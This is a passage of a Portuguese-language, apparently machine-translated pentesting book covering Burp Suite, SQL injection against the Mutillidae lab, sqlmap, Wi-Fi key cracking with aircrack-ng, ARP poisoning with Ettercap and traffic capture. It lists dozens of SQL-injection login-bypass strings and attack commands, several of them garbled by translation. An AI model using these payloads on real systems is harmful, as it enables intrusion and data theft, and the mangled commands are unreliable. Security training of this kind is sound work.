Response e clique com o botão direito dentro da seção, e envie para o
sequenciador.
Depois de clicar em “Enviado ao sequenciador”, vá para a guia Sequenciador
e identifique quais tokens de sessão são importantes para você.
Depois de escolher seu token, você pode clicar em “Iniciar captura ao vivo”
para começar a gerar tokens de sessão. Uma nova janela aparecerá e
começará a processar e gerar tokens.
Depois de terminar a captura ao vivo, você pode começar a analisar os tokens
de sessão e Burp Suite lhe dará um resumo da aleatoriedade de seus tokens de
sessão.
Além desta ferramenta, você também tem a análise do nível do corretor e
análise do nível de bits.
Existem muitos outros recursos na ferramenta sequenciadora do Burp, então
recomendo gastar algum tempo tentando entender como os tokens de sessão
são gerados.
Todos os principais aplicativos da web usam diferentes tipos de
implementações e algoritmos para gerar tokens de sessão.
Capítulo 15 Burp Spider-ing e injeção de SQL

Quando você testa um aplicativo da web, a primeira coisa que você pode
fazer é rastrear o host usando o Burp Suite. Isso significa que o Burp rastreará
todo o site e gravará todos os diferentes arquivos e métodos HTTP nesse site.
Por que você aranha o hospedeiro?
Bem, isso ocorre porque você precisa identificar onde estão todos os links,
quais tipos de parâmetros são usados no aplicativo, quais sites externos o
aplicativo também faz referência e o layout geral de como o aplicativo
funciona.
Para rastrear seu aplicativo, você precisa ter certeza de que a guia de destino
está selecionada e, em seguida, a guia do mapa do site também está
selecionada. Em seguida, clique com o botão direito do mouse no domínio
que você adicionou ao seu escopo anteriormente e, a seguir, clique no item
chamado “spider este ramo”.
Assim que o processo de spidering for concluído, o Burp deve ter um bom
layout da aparência exata do aplicativo. Você também pode clicar em
qualquer arquivo da lista fornecida pelo Burp para ver qual foi a solicitação e
a resposta.
Da mesma forma, na coluna da esquerda, na pasta “mutillidae”, você pode
ver a estrutura do site. No canto superior direito, abaixo da guia do mapa do
site, está o botão de filtro que você pode experimentar para ver o que está
filtrando e o que funciona para você.
Geralmente, é preferível primeiro adicionar todos os seus domínios ao escopo
e, em seguida, clicar no filtro para mostrar apenas aqueles que estão no
escopo.

Às vezes, as páginas ou pastas não estão diretamente vinculadas a um


aplicativo da web. Por exemplo, frequentemente visto que a pasta admin ou
as páginas de login não são referenciadas em qualquer lugar do site.
Isso ocorre porque os administradores de host estão tentando ocultar essas
pastas e páginas de login administrativo dos usuários em geral. Esses tipos de
coisas que você está procurando em seu pen test, para que você possa tentar
contornar ou usar força bruta no processo de autorização.
Há um módulo específico dentro do Burp que é extremamente útil nesses
cenários chamado “descobrir conteúdo”.
Se você abrir o navegador e inserir o endereço IP da máquina virtual
metasploitable, o Burp Suite deve estar interceptando suas solicitações,
portanto, você
deve pará-lo.
Em seguida, clique no link “mutillidae”. Mutillidae é um aplicativo de
hacking da Web vulnerável composto de scripts PHP que são vulneráveis às
10 principais vulnerabilidades do OWASP.
Você pode iniciar um novo ataque ao site apenas visitando a página
mutillidae.com. O Burp Suite já deve reconhecer a existência dele.
Em seguida, volte para Burp Suite e clique na “aba Target”, escolha seu
domínio, clique com o botão direito sobre ele e adicione-o ao escopo.
Depois disso, você precisa fazer o spider do aplicativo, mas antes de fazer
isso, há algo que você deve estar ciente.
Como o site mutillidae.com tem muitos formulários quando você rastreia o
aplicativo, o Burp Suite exibirá uma caixa de diálogo solicitando que você
insira as credenciais manualmente para alterar esse comportamento padrão,
então você deve clicar na guia “Spider” e selecionar “ Guia Opções ”.
Você deve ver por padrão que o prompt para orientação está selecionado.
Mude-o para a última opção porque você pode usar uma “string de injeção
SQL inteligente”. No campo de nome de usuário, digite “admin”, seguido de
espaço, 1 = 1, espaço, hífen e deixe o campo de senha em branco.
Nota: Algumas pessoas preferem usar outros usuários admin para ignorar a
autenticação por injeção de SQL.
O fato é que existem várias maneiras de contornar a autenticação, portanto,
listarei abaixo todas as variações de senhas de administrador que encontrei
antes;
“Admin '-“
“admin' #“
“admin '/ *“
“admin' ou '1' =
'1“
“Admin 'ou' 1 '=' 1 '-“
“Admin 'ou' 1 '=' 1 '#“
“Admin 'ou' 1 '=' 1 '/ *“
“Admin'or 1 = 1 ou '' = '“
“admin' ou 1 = 1“
“Admin 'ou 1 = 1--“
“Admin 'ou 1 = 1
#“ “admin' ou 1 =
1 / *“ “admin ') ou
(' 1 '=' 1“
“Admin ') ou (' 1 '=' 1 '-“
“Admin ') ou (' 1 '=' 1 '#“
“Admin ') ou (' 1 '=' 1 '/ *“
“Admin ') ou' 1 '=' 1“
“Admin ') ou' 1 '=' 1 '-“
“Admin ') ou' 1 '=' 1 '#“
“Admin ') ou' 1 '=' 1
'/ *“ “admin" - ““
admin "#“ “admin" /
*“
“Admin" ou "1" = "1“
“Admin" ou "1" = "1" - “
“Admin" ou "1" = "1" # “
“Admin" ou "1" = "1" / * “
“Admin" ou 1 = 1 ou "" =
"“ “admin" ou 1 = 1 “
“Admin" ou 1 = 1-- “
“Admin" ou 1 = 1 # ““
admin "ou 1 = 1 / *“
“admin") ou ("1" = "1“
“Admin") ou ("1" = "1" - “
“Admin") ou ("1" = "1" # “
“Admin") ou ("1" = "1" / * “
“Admin") ou "1" = "1“
“Admin") ou "1" = "1" - “
“Admin") ou "1" = "1" # “
“Admin") ou "1" = "1" / * “

Continuando, você deve voltar para a guia Destino e começar a pesquisar o


aplicativo. Depois disso, mude para a guia Spider para ver o progresso da
aranha.
Quando você vê que os números param de subir, significa que terminou o
processo de execução. Assim que o processo de pesquisa estiver concluído,
volte para a guia “Mapa do site”, clique com o botão direito na pasta
Mutillidae no menu suspenso e selecione “Ferramentas de engajamento” e
clique em “Descobrir conteúdo”.
Uma vez dentro do seu módulo de descoberta, você pode clicar no botão “A
sessão não está em execução”, e o aplicativo iniciará a força bruta inteligente.
Neste momento, o ataque de força bruta está aprendendo a partir de arquivos
e pastas que encontra no aplicativo e tenta fazer escolhas melhores para a
força bruta.
Essa técnica fornece um processo eficiente para identificar pastas e arquivos
de seu teste de aplicativo. Você pode clicar na guia “Mapa do site” na parte
superior do
módulo de descoberta e ver todos os resultados da varredura de força bruta.
Isso ajudará a identificar rapidamente pastas ocultas, páginas de
administração, páginas de configuração e outras páginas interessantes que
serão extremamente úteis para qualquer pen tester.
Capítulo 16 Injeção de SQL com SQLmap

A vulnerabilidade mais comum e explorável em sites é a vulnerabilidade de


injeção que ocorre quando o site da vítima não monitora as entradas.
Assim, permitindo que o invasor interaja com o banco de dados de back-end.
Uma das ferramentas mais úteis para avaliar vulnerabilidades de injeção de
SQL é chamada de SQLmap.
É uma ferramenta Python que automatiza o reconhecimento e a exploração de
vários tipos de bancos de dados. Neste capítulo, você aprenderá sobre o
ataque de injeção de SQL contra o site mutillidae.com.
Se você estiver usando metasploitable, existe a possibilidade de que você
precise corrigi-lo para o site mutillidae.com. Primeiro, você precisa se
conectar ao seu host metasploitable usando SSH.
Use o nome de usuário “mfsadmin” e a senha padrão que também é
“mfsadmin”. Uma vez conectado à máquina metasploitable, você precisa
abrir o arquivo de configuração do site mutillidae.com.
Neste arquivo, você precisa ter certeza de que a string de conexão está
apontando para o banco de dados OWASP 10. Depois de concluído, você
pode iniciar sua tarefa de injeção SQL.
Primeiro, abra o site mutillidae.com. Em seguida, no menu à esquerda,
selecione o item OWASP 10, depois o item de menu Injeção e escolha a
primeira página de teste de injeção de SQL do topo.
Esta página é vulnerável à injeção de SQL, então você precisa interceptar a
solicitação enviada por você ao servidor usando o Burp Suite. Antes de clicar
em “Ver detalhes das contas”, você precisa se certificar de que o Burp Suite
está ativo.
Voltando para o Burp Suite, você deverá ver o conteúdo de sua solicitação.
Em seguida, você precisa salvar o conteúdo em um arquivo e, depois disso,
não precisa mais do Burp Suite.
Você pode fechar tudo e abrir seu console. Em seguida,
digite “sqlmap -dbs”
e pressione Enter para determinar os bancos de dados disponíveis. O banco
de dados mais provável para armazenar os dados dos aplicativos é o banco de
dados OWASP 10, portanto, você precisará verificar as tabelas desse banco
de dados, usando o comando:
“Sqlmap --tables --database owasp –u”
e pressione Enter. Os dados de retorno da execução deste comando devem
mostrar as tabelas disponíveis no banco de dados OWASP.
Em seguida, verifique a tabela de contas e despeje os dados dessa tabela.
Você pode listar as tabelas no banco de dados com o seguinte comando:
“Sqlmap -u" URL "--tables -d database_name”
Você pode listar os nomes das colunas em uma tabela com outro
comando: “sqlmap -u" URL "--columns -d database_name -T
table_name” Você pode despejar os dados usando o comando:
“Sqlmap -u" URL "--dump -d database_name -T table_name”
Capítulo 17 Ataque de Dicionário com Airodump-ng

Para executar um ataque de dicionário em uma rede sem fio onde a rede sem
fio é protegida com WPA ou WPA2, vamos seguir um processo de quatro
etapas.
Primeiro, queremos descobrir o BSSID do ponto de acesso contra o qual
queremos executar nosso ataque de dicionário. Depois de encontrar o ponto
de acesso que desejamos atacar, precisamos decidir a lista de palavras que
desejamos usar para o ataque.
Uma lista de palavras, como o nome sugere, é uma lista de palavras, como
um dicionário, e vamos testar essa lista de palavras no ponto de acesso.
A terceira etapa é que vamos gerar tráfego de autenticação. Para que esse
ataque funcione, precisamos ser capazes de capturar um usuário legítimo
conectando-se ao ponto de acesso e vamos gerar esse tráfego, para que
possamos farejá-lo pelo ar. Por último, temos que executar o ataque de
dicionário.
Para este ataque, vamos usar Kali Linux. Para fazer isso, você precisa abrir
um terminal e olhar a configuração. Tipo
“Iwconfig”
e você deverá ver dois de seus adaptadores LAN wireless. O wlan1 sem fio
deve ser a placa de LAN sem fio do seu dispositivo que está integrada ao seu
dispositivo, e o wlan0 sem fio é o seu adaptador de LAN Kali Linux
virtualizado, se você tiver conectado com êxito seus dispositivos.
Este também é o que você usará para executar seu ataque. Portanto, a
primeira coisa que você precisa fazer é colocar a placa wlan do Kali Linux no
modo monitor, mas antes de fazer isso, é necessário desligar o adaptador
LAN wireless digitando:
“Ifconfig wlan0 down”
Próximo tipo:
“Monitor de modo wlan0 iwconfig”
Este comando colocará seu adaptador LAN wireless no modo monitor. Mas
para garantir que o wlan esteja de volta, você deve digitar o comando:
“Ifconfig wlan0 up”
Agora que o adaptador LAN sem fio está de volta, você deseja confirmar
se agora está no modo monitor. Para fazer isso, você deve digitar o
comando:
“Iwconfig”
Aqui, você deve ver onde está escrito “Mode”, ao lado deve dizer que a placa
agora está no modo monitor. Sua próxima etapa é encontrar o BSSID do
ponto de acesso que você deseja atacar. Para isso você vai usar a ferramenta
chamada Aircrack, então você tem o tipo:
“Airodump-ng wlan0”
Isso iniciará a busca por BSSID-s transmitidos. Aqui, você verá que está
capturando os BSSIDs dos pontos de acesso ao redor e os canais que eles
estão usando.
NOTA: Não comprometa a conexão sem fio de seus vizinhos, ou pior, não
use esta ferramenta em ambiente de produção, a menos que você tenha
autorização por escrito.
De volta ao Kali Linux, para sair do monitoramento, você pode pressionar
“Ctrl + C” para parar a pesquisa, uma vez que você encontrou o BSSID sem
fio que você vai atacar.
Na saída de Kali, você também deve ter o endereço MAC do BSSID, que
normalmente é uma letra de 12 caracteres e números que você deve anotar,
porque você vai precisar desse endereço MAC quando executar o ataque .
A próxima etapa é encontrar uma lista de palavras que você possa usar para
invadir o ponto de acesso, e Kali tem várias ferramentas que você pode usar
para esse propósito.
Você também pode baixar outras ferramentas semelhantes, mas a ferramenta
chamada “Airodump” apenas fará o trabalho. Portanto, você deve digitar:
“Airodump-ng –bssid 00: 11: 22: 33: 44: 55: 66 - canal 1 - escrever
wepcracking wlan0”
NOTA: Este é apenas um exemplo, mas onde afirmei “00: 11: 22: 33: 44: 55:
66”, você deve digitar o endereço mac real do BSSID que está prestes a
comprometer, bem como o canal para você pode ser o canal 6 ou o canal 11.
Depois de executar com sucesso o comando acima, você verá que o
monitoramento da rede wlan0 foi iniciado.
Aqui, você verá a transferência de dados na coluna “dados”. Tenha em
atenção que tudo depende da complexidade da palavra-passe, pois pode
demorar alguns minutos.
Depois de ter esperado alguns minutos, você deve ter dados suficientes para
trabalhar, portanto, você deve abrir um novo terminal e digitar:
“Ls”
Isso listará os arquivos que você capturou até agora. Agora, para quebrar a
senha, você deve digitar o seguinte comando:
“Aircrack-ng wepcracking-01.cap”
Aqui, o nome do arquivo “wepcracking-01.cap” é um exemplo, mas você
deve digitar lá qualquer nome de arquivo que coletou e chamou no comando
“ls”, próximo ao nome do arquivo “Público”.
Se você estiver usando autenticação WEP, a essa altura a senha já teria sido
quebrada. O Aircrack-ng normalmente lista a senha como um arquivo ASCII
dizendo “CHAVE ENCONTRADA”.

Por último, vou pedir-lhe novamente para certificar-se de que possui uma
autorização por escrito para usar o Airodump-ng em um ambiente ao vivo ou
de produção. Se você estiver praticando apenas em seu laboratório
doméstico, em um ambiente sem produção, isso não deve causar problemas
para ninguém; ainda assim, sugiro que você desligue seu roteador e pratique
com cuidado sem nenhuma conexão com a internet.
Capítulo 18 Envenenamento ARP com EtterCAP

Imagine que você foi designado para realizar um ataque MITM (Man in the
Middle) contra um host ou servidor específico, e a escolha das ferramentas a
serem usadas depende de você.
Existem várias maneiras de realizar um ataque MITM e, neste capítulo,
usaremos outra ferramenta excelente que você pode considerar chamada
EtterCAP.
EtterCAP é outra ótima maneira de lidar com o ataque MITM, pois tem uma
interface gráfica de usuário ou GUI amigável que fornece um método
chamado clicar, selecionar e ir.
É sempre melhor ter mais conhecimento sobre ferramentas adicionais se elas
não funcionassem ou não tivessem acesso no momento em que você foi
designado para fazer o teste de caneta.
Você deve estar ciente de que, para obter o mesmo resultado, existem outras
opções que você pode escolher. EtterCAP é outra ferramenta integrada na
plataforma Kali Linux. Para iniciar o EtterCAP, você pode emitir um
comando:
“Ettercap –G”
Em seguida, pressione Enter. Assim que o EtterCAP for iniciado, ele
aguardará que forneçamos mais instruções e você deve primeiro clicar em
uma opção do menu: Sniff> e, em seguida, escolher “unified sniffing”.
Em seguida, você deve especificar a interface de rede que usará para farejar.
No meu caso é ethernet0.
Isso irá criar algumas opções de menu adicionais, então agora você deve
clicar na opção de menu: “Host”, a seguir clique em “Scan for hosts”.
Isso não deve levar mais 5 segundos para descobrir todos os hosts que estão
na mesma rede. Depois de concluído, volte ao ícone do menu; Host> clique
nas listas de hosts para ver todos os endereços IP de hosts e os endereços
MAC associados a eles.

Depois de ter uma lista de hosts, você pode destacar o endereço de origem e
clicar em “Adicionar ao destino 1”, em seguida, destacar o endereço de
destino e clicar em “Adicionar ao destino 2”.
O método que usamos é chamado ARP POISONING.
ARP significa Protocolo de Resolução de Endereço. Os roteadores, switches
da camada 3 têm entradas ARP ou tabelas ARP que contêm todos os
endereços IP e seus endereços Mac ou endereços físicos associados que estão
conectados à rede.
Ainda assim, se usarmos o envenenamento ARP, poderíamos falsificar o
endereço de origem real dizendo ao destino que temos o endereço IP e o
endereço Mac do nó de origem, de modo que todo o tráfego planejado para
chegar ao host de origem real, de agora em diante , viria primeiro até nós.
Além disso, todo o tráfego planejado para atingir o host de destino viria até
nós, pois também envenenaríamos a origem real e diríamos que o endereço IP
de destino e o endereço Mac agora são nossa máquina.
Usar o envenenamento por ARP é um dos melhores métodos para criar um
ataque Man in the Middle, pois agora todo o tráfego que vai e volta entre a
origem e o destino está passando por nós.
Tendo todo esse tráfego capturado, podemos decidir se queremos apenas
analisá-lo, ou então capturá-lo, modificá-lo, encaminhar para um destino
diferente ou simplesmente interromper a comunicação entre esses
dispositivos.
Portanto, a última peça para lançar tal ataque é clicar no ícone do menu
chamado “MITM” e então selecionar “envenenamento ARP”. Quando
terminar e quiser parar o envenenamento por ARP, clique em “Parar ataque
(s) MITM”.
Por último, pedirei novamente que você certifique-se de ter uma autorização
por escrito para usar este método em um ambiente ao vivo ou de produção,
pois qualquer tipo de ataque Man in the Middle é muito perigoso,
especialmente quando você manipula o tráfego roteado envenenando as
tabelas ARP alimentando endereços Mac falsos.

Se você estiver praticando apenas em seu laboratório doméstico, em um


ambiente sem produção, isso não deve causar problemas para ninguém; ainda
assim, sugiro que você desligue seu roteador e pratique com cuidado sem
nenhuma conexão com a internet.
Capítulo 19 Capturando tráfego com espelhamento de porta

Para todos os computadores conectados à rede para processar o pacote de


difusão ARP seria um desperdício de recursos. Em vez disso, as placas de
interface de rede dos dispositivos na rede para os quais o pacote não é
destinado, reconhecem que o pacote não é para eles, então o pacote é
descartado, em vez de ser passado para a CPU para processamento.
Ao usar o modo promíscuo, você pode garantir que todo o tráfego seja
capturado. Ao operar no modo promíscuo, a placa de interface de rede passa
todos os pacotes que vê para o processador do host, independentemente do
endereçamento.
Assim que o pacote chega à CPU, ele pode ser obtido pela ferramenta
chamada Wireshark para análise. Existem três maneiras principais de
capturar o tráfego de um dispositivo de destino em uma rede comutada.
O primeiro é o envenenamento ARP, ou ataque Man-In-The-Middle, que
acabei de compartilhar com você no capítulo anterior, usando os dois em
conjunto.
O segundo método para capturar o tráfego de um dispositivo de destino em
uma rede comutada é usando um toque. Também conhecido como “Network
Tap”, é um dispositivo de hardware que você pode colocar entre dois pontos
finais em seu sistema de cabeamento para capturar o tráfego entre eles.
O terceiro método é o espelhamento de porta. Espelhamento de porta ou
abrangência de porta é talvez a maneira mais fácil de capturar o tráfego de
um dispositivo de destino em uma rede comutada.
Nesse tipo de configuração, você deve ter acesso à linha de comando ou à
interface de gerenciamento da web do switch no qual o computador de
destino está localizado.
Da mesma forma, o switch de rede deve oferecer suporte a espelhamento e
ter uma porta não utilizada na qual você possa conectar seu sniffer. Você
pode configurar o espelhamento de porta na maioria dos switches Cisco
depois de se conectar a ele, usando “SSH” ou um cabo de console.
Para habilitar o espelhamento de porta, você emite um comando que força o
switch a copiar todo o tráfego de uma porta para outra. Mas primeiro, você
deve listar as portas em um switch emitindo o comando
“Show ip interface brief”
Se você não está familiarizado com os comandos de switch Cisco, não se
preocupe muito
como vamos ver apenas um exemplo simples. Depois de listar as portas
Ethernet disponíveis, digamos que você deseja instalar seu sniffer na porta 2
e encaminhar todo o tráfego da porta 1 para a porta 2.
Para iniciar os comandos de configuração, você primeiro emite o
comando “configure terminal”
de
apenas
“conf t”
Em seguida, pressione Enter. Em seguida, você precisa especificar a porta de
origem, que é a porta 1 em nosso exemplo, para iniciar o comando digitando
“monitor”, seguido por um número de sessão aleatório.
O número da sessão pode ser qualquer número de sua escolha e, em seguida,
você especifica que é uma fonte; e finalmente você insere o número da porta.
Em seguida, você digita o número da porta de destino e é aqui que está o seu
farejador. Mesmo comando com o mesmo número de sessão, mas desta vez é
um destino e o número da porta é 2.
Os comandos que você deseja digitar são os seguintes:
“Conf t”
“Monitor sessão 1 interface de origem GigabitEthernet1 / 0/1”
“monitor sessão 1 interface destino GigabitEthernet 1/0/2” “saída”
"Saída"
“Escrever memória”
Para verificar sua sessão de monitoramento, você pode digitar o comando
“show session” seguido do número da sessão, neste caso 1 da seguinte forma;
“Mostrar sessão 1”
A saída mostrará que a porta de origem é GigabitEthernet número 1 e a porta
de destino é GigabitEthernet número 2. Após essas etapas, todo o tráfego será
encaminhado da porta 1 para a porta 2.
Capítulo 20 Reconhecimento Passivo com Kali

Qualquer pessoa pode ouvir os sinais sem fio que estão passando pelo ar.
Quando você ouve sinais sem fio, pode sintonizar seu rádio para ouvir o
tráfego específico que está indo e vindo de um cliente, ou de e para um ponto
de acesso, ou pode apenas ouvir tudo e filtrar o que deseja ouvir mais tarde.
Assim como se você colocasse a mão no ouvido para ajudá-lo a ouvir melhor
ou talvez um copo na parede para ouvir a conversa do outro lado da parede,
com wireless, você pode usar uma antena direcional para coletar mais sinal
força de uma determinada direção.
O que isso significa é que posso estar a alguma distância do ponto de acesso
ou do seu cliente e ainda ser capaz de capturar o tráfego pelo ar. Isso significa
que você não sabe que estou espionando seu tráfego.
Mas como posso ouvir e capturar o tráfego? Bem, estou ouvindo
sintonizando meu rádio no canal de frequência, coletando todos os sinais,
processando-os em minha pilha de protocolos e, em seguida, exibindo-os
com uma ferramenta de análise de pacotes como o Wireshark.
Ouvir no ar é uma das melhores maneiras de fazer reconhecimento passivo.
Reconhecimento passivo é quando você está coletando informações sobre
uma rede, corporação ou um indivíduo, mas não está se envolvendo
ativamente com o sistema, a rede ou com o indivíduo.
Você pode estar coletando informações como qual é o fabricante de seus
pontos de acesso? Quais são os endereços MAC que estão sendo usados pelos
clientes? Quais mecanismos de segurança uma determinada empresa usa?
Quais são os nomes das redes? Eles têm acesso supostamente configurado
nesses pontos de acesso? Eles têm nomes de rede ocultos?
Por meio da coleta de informações, conforme você começa a formar uma
imagem da implantação, então você pode ir para a segunda fase, quando
estiver começando a planejar como irá atacar a rede.
Durante a fase de reconhecimento passivo, você estaria escrevendo e
formando um mapa de rede onde os pontos de acesso são implantados,
anotando seus nomes e criando um plano de implantação e identificando
quaisquer pontos fracos que a rede possa ter. Se um hacker vai tentar e
Para acessar uma rede corporativa, a conexão sem fio deve ser uma das três
principais abordagens para descobrir informações a fim de planejar esse
ataque.
Para capturar e exibir o tráfego transmitido pelo ar, você precisa de uma
ferramenta chamada Wireshark. Você pode baixar o Wireshark do site listado
anteriormente ou pode usar a ferramenta que já está disponível no Kali
Linux.
Para fazer isso no Kali Linux, vamos seguir um processo de quatro etapas. A
primeira coisa que faremos é colocar nosso adaptador sem fio no modo de
monitor. Isso permitirá que nosso adaptador fareje tudo pelo ar, capture tudo
e passe para o aplicativo Wireshark para ser exibido e então podemos analisar
esses pacotes.
Podemos selecionar tudo pelo ar ou podemos procurar o tráfego de um
BSSID específico ou em um canal específico. Depois de selecionar o BSSID
e / ou o canal, podemos abrir o Wireshark, selecionar a interface de
monitoramento que configuramos para nosso adaptador sem fio e começar a
capturar os dados. Depois de capturar dados suficientes, podemos salvar a
captura do pacote para analisá-la posteriormente.
A primeira coisa que queremos fazer é colocar nosso adaptador no modo
monitor. No capítulo anterior, já discutimos como fazer isso, mas você pode
verificar se a interface sem fio ainda está no modo de monitoramento
digitando:
“Iwconfig”
Isso permitirá que você veja em que modo sua interface wireless está, mas se
você não fez nenhuma outra mudança, então nós discutimos até agora, sua
wlan ainda deve estar no modo Monitoramento.
Existem várias maneiras de ativar o modo de monitor, como usar
“iwconfig”
mas esse método não funciona para todos os adaptadores. Este método não
funciona para todos os adaptadores, então se você tentou habilitar no modo
monitor usando o comando acima e ele falhou, ou se funcionou, mas o
adaptador não se comportou como esperado ao usá-lo, então uma boa ideia é
tentar habilitar modo monitor usando um método diferente.
Por exemplo, se o seu adaptador sem fio está no “modo gerenciado” e não
sabe como colocá-lo no “modo de monitoramento”, a correção é fácil.
A primeira coisa que você pode fazer é desativar a interface digitando
“Ifconfig lan0 down”
Agora você pode ir em frente e ativar o modo de monitor, mas antes de fazer
isso é bom encerrar qualquer processo que possa interferir no uso do
adaptador no modo de monitor. Para fazer isso, temos que usar uma
ferramenta chamada “airmon-ng” Tipo:
“Airmon-ng check kill”
Aqui, vamos dizer a Kali que queremos que você verifique todos os
processos que podem interferir no modo monitor e, se encontrar algo,
queremos que você os mate. Comando muito simples.
Airmon-ng está no nome do programa. “Verificar” significa verificar
quaisquer processos que possam interferir no modo monitor. “Eliminar”
significa eliminar os processos, se houver algum.
Se você pressionar Enter, verá que alguns processos serão encerrados e você
notará que o ícone do gerenciador de rede desaparece. Isso ocorre porque este
comando o mata e você perderá sua conexão com a Internet se estiver
conectado, mas tudo bem porque você perderá sua conexão com a Internet de
qualquer maneira se ativar o modo monitor.
Ao fazer isso, o adaptador funciona melhor no modo monitor. Agora você
está pronto para habilitar o modo monitor e, em vez de usar o comando
“Iwconfig”
Você pode
usar:
“Airmon-ng start wlan0”
Mais uma vez, airmon-ng é o nome do programa que estamos usando para
habilitar o modo monitor. “Iniciar” significa que queremos iniciar o modo
monitor, em uma interface chamada “wlan0”
Agora, se sua interface wlan não é zero, mas 1 ou 2, você quer colocar o
número certo onde eu referencio o zero com o número de sua interface
wireless. Depois de clicar em Enter, você receberá uma mensagem
informando que o modo de monitor está habilitado em wlan0.
Agora se você digitar
“Iwconfig” você verá que a interface chamada “wlan0” desapareceu. Você
não tem mais uma interface chamada “wlan0” e em vez disso, você tem uma
nova interface chamada “wlan0mon”, mas se você olhar para o modo desta
interface,
você verá que está no modo “monitor”.
Depois disso, sempre que você quiser usar um programa que requer o modo
monitor, certifique-se de configurar a interface para “wlan0mon”.
Caso você tenha tentado habilitar o modo monitor usando o
comando “iwconfig”
e isso não funcionou e você tentou este método também e ainda não
funcionou, então é provável que seu adaptador não suporte o modo monitor
porque nem todos os adaptadores suportam o modo monitor. Portanto, você
deve verificar o capítulo sobre adotantes recomendados.
Continuando, assim que sua interface estiver no modo Monitor, você deverá
capturar o tráfego pelo ar. Depois de coletar dados suficientes, é hora de
exibi-los.
No Kali Linux, vá para Aplicativos, vá para as 10 principais ferramentas de
segurança do Kali Linux e encontre o Wireshark. Clique nessa guia e abre o
aplicativo Wireshark listando suas interfaces.
Selecione sua interface wireless, no meu caso é wlan0mon, e clique em
Iniciar para ver os dados de captura. Se você observar os pacotes capturados,
verá que há uma combinação de solicitações para enviar, limpar para enviar,
um quadro de beacon e alguns dados do usuário.
Agora você pode salvar todos esses dados clicando em “Salvar” ou “Salvar
como” e pode retirá-los e analisá-los posteriormente. É muito fácil capturar
informações pelo ar.
Capítulo 21 Capturando Ataque de Varredura SYN

A varredura TCP SYN depende do processo de handshake de três vias para


determinar quais portas estão abertas em um host de destino. O invasor envia
um pacote TCP SYN para um intervalo de portas na vítima, como se
estivesse tentando estabelecer um canal para comunicação normal nas portas.
Quando uma varredura SYN é executada, o invasor estará procurando por
três estados. A porta está aberta, fechada ou filtrada. O handshake TCP
normal funciona assim.
Primeiro, um pacote SYN será enviado, depois o servidor responderá com um
SYN / ACK e, por fim, o cliente enviará um pacote ACK.
Agora vamos dar uma olhada no cenário de porta aberta. Se um serviço na
máquina da vítima está escutando na porta, que recebe o pacote SYN e
responderá ao invasor com um pacote TCP SYN / ACK, e então o invasor
saberá que a porta está aberta e um serviço está escutando isto.
Para o cenário de porta fechada, se nenhum serviço estiver escutando em uma
porta verificada, o invasor não receberá um pacote SYN / ACK. Dependendo
da configuração do sistema operacional da vítima, mas o invasor pode
receber um pacote de redefinição em troca, indicando que a porta está
fechada.
Por último, para o cenário de porta filtrada, o invasor pode não receber
nenhuma resposta. Isso pode significar que a porta é filtrada por um
dispositivo intermediário, como um firewall, ou o próprio host.
Por outro lado, pode ser que a resposta tenha se perdido no trânsito. Nesse
cenário, imagine que você tenha três hosts; o atacante que usará Kali Linux
em 10.0.0.111, a máquina vítima será um host Windows 10 em 10.0.0.202,
finalmente o testador de penetração usará Kali Linux para interceptar todo o
tráfego e analisar quaisquer ataques na rede.
Imagine que você é o atacante. Primeiro, o hacker executará uma varredura
de porta na máquina Windows 10 da sua vítima e usará o nmap para fazer a
varredura no host Windows no endereço IP 10.0.0.202. O comando que será
usado aqui é:
“Nmap 10.0.0.202”

Da perspectiva do invasor, a varredura está completa, mas ele não sabe disso
um testador de penetração está ouvindo neste momento na rede.
Se você mudar para a máquina de testador de penetração e tentar capturar
esse intruso, a melhor maneira de entender o escopo de uma varredura é
visualizar a janela de conversas no Wireshark.
No menu do Wireshark, selecione o item “Estatísticas”, clique em
“Conversas” e selecione a guia “IPv4”.
Lá, você deve ver apenas uma conversa IPv4 entre o invasor no endereço IP
de 10.0.0.111 e a vítima no endereço IP de 10.0.0.202.
Você também verá que existem milhares de conversas TCP entre esses dois
hosts. Basicamente, uma nova conversa para cada porta envolvida na
comunicação, o que é muito.
Depois de compreender os diferentes tipos de respostas que uma varredura
SYN pode produzir, o próximo pensamento lógico é encontrar um método
rápido de identificar quais portas estão abertas ou fechadas.
A resposta está na janela de conversas. Mais uma vez, clique na guia “TCP”.
Nessa janela, você pode classificar as conversas TCP por “número do pacote”
com os valores mais altos no topo, clicando duas vezes na coluna “Pacotes”.
Então você deve clicar em “portas escaneadas” e incluir 3 pacotes em cada
uma de suas conversas. Você pode dar uma olhada nos detalhes do primeiro
pacote da lista clicando no botão “Seguir Stream”, em seguida fechar esta
janela e minimizar a janela de conversas.
De volta à janela principal do Wireshark, você deve ver o pacote SYN inicial
enviado da máquina do invasor e, em seguida, o pacote SYN / ACK
correspondente do host da vítima e o pacote de redefinição final enviado do
host do invasor para encerrar a conversa.
Se você voltar para a janela “Conversas”, você também pode ter alguns
outros cenários onde apenas 2 pacotes envolvidos na comunicação.
Se você verificar os detalhes novamente, verifique o primeiro pacote SYN
inicial e o segundo que é o reset da vítima, o que indica que essa porta está
fechada.
Se as entradas restantes na janela "conversa" incluírem apenas um pacote,
isso significa que o host vítima nunca respondeu ao SYN inicial
solicitação.
Capítulo 22 Captura de tráfego com Xplico

Podemos lançar um ataque Man in the Middle de várias maneiras, usando


Burp Suite ou EtterCAP; mas nunca discutimos como podemos coletar os
dados e analisá-los e que ferramenta podemos usar para esse fim.
Discutimos um software chamado Wireshark anteriormente e como podemos
capturar dados com ele, mas há outro utilitário que podemos usar para o
mesmo propósito chamado “Xplico”.
O Xplico também pode pegar arquivos do Wireshark e analisá-los para você.
O Wireshark também tem a capacidade de fazer um feed direto no Xplico,
portanto, podemos capturar todo o tráfego e pode nos dar uma ótima visão do
que está acontecendo naquela sessão que estamos espionando.
O Xplico também vem como uma ferramenta padrão embutida no Kali
Linux. Para iniciar a interface gráfica do usuário, você pode seguir as opções
do menu como:
Kali Linux> Forense> Network Forensics> xplico web gui
Depois de selecionar as opções de menu mencionadas, ele iniciará um
servidor da web em Kali. Se o servidor web Apache ainda não estiver
rodando, normalmente você terá que iniciá-lo manualmente; mas se você usar
sua máquina Kali, ela irá iniciá-la automaticamente para você.
Se o Apache já estiver rodando em segundo plano, o Xplico usará essa
função de servidor para iniciar a si mesmo. Em seguida, diria para você usar
uma URL específica para abrir o Xplico, usando um servidor web.
Você pode escolher clicar no link fornecido para abrir o Xplico, ou pode
apenas copiar e colar o endereço na sessão do seu navegador. O link é:http: //
localhost: 9876 /
Outro método para iniciar o Xplico é clicar com o botão direito do mouse no
